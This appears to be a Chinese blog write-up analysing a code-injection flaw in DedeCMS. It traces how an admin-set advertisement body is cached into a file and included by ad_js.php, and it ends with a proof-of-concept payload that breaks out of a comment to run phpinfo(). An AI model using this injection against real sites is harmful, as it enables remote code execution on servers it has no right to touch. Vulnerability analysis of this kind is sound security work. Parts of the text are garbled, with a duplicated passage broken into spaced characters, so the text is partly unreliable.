###
$query = "
INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody)
VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody');
";
$dsql->ExecuteNoneQuery($query);
ShowMsg("成功增加一个广告!","ad_main.php");
上面就是我截取的对我们有用的源码片段,从中可以看到,我们的广告信息被插入到了数据库中。接下来就在数据库中去看一下吧:
恶意代码写进去了,就看看哪里会调用我们这个”善意“的广告了呗,点击广告栏的代码就可以看到我们的广告杯插入在了哪里:
可以看到ad_js.php调用了我们的广告,可以去看看源码了:
$cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");//根据aid获得广告
$adbody = '';
if($row['timeset']==0)//如果广告是永不过期的就取出广告内容,并赋值给$adbody
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
//安全过滤
$adbody = str_replace('"', '\"',$adbody);
$adbody = str_replace("\r", "\\r",$adbody);
$adbody = str_replace("\n", "\\n",$adbody);
//将广告内容写入一段注释中,这里的注释就导致了漏洞
$adbody = "\r\n";
//将我们的广告内容昔写入$cacheFile的文件里,这个文件在前面
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;//把刚刚构造的静态html文件包含进来,这就导致html文件中的php代码可执行
现在我们首先要满足if条件判断,由于是或运算,只要满足一个就行了,这里我们可以直接利用dedecms的变量注册的特性(这里不太清楚,大概是这个原因,不太熟悉),直接传入一个nocache变量,直接满足if判断,这样我们的恶意代码就写进了下面这个文件里:
我们来按照思路来操作下:
访问下 c a c h e F i l e , 发 现 恶 意 果 然 写 入 了 : ! [ 这 里 写 图 片 描 述 ] ( h t t p s : / / i m g − b l o g . c s d n . n e t / 20180702230814386 ) 接 下 来 就 是 访 问 一 下 a d j s . p h p 这 个 文 件 了 , 因 为 a d j s . p h p 最 后 包 含 了 cacheFile,发现恶意果然写入了: ![这里写图片描述](https://img-blog.csdn.net/20180702230814386) 接下来就是访问一下ad_js.php这个文件了,因为ad_js.php最后包含了 cacheFile,发现恶意果然写入了:![这里写图片描述](https://img−blog.csdn.net/20180702230814386)接下来就是访问一下adjs.php这个文件了,因为adjs.php最后包含了cacheFile这个文件,导致我们的恶意代码得以执行。现在我来写入一个phpinfo()函数作为测试:
上面post传送的数据为
key = echo '-->';phpinfo();
echo '-->'是为了闭合注释,不然我们的代码不能执行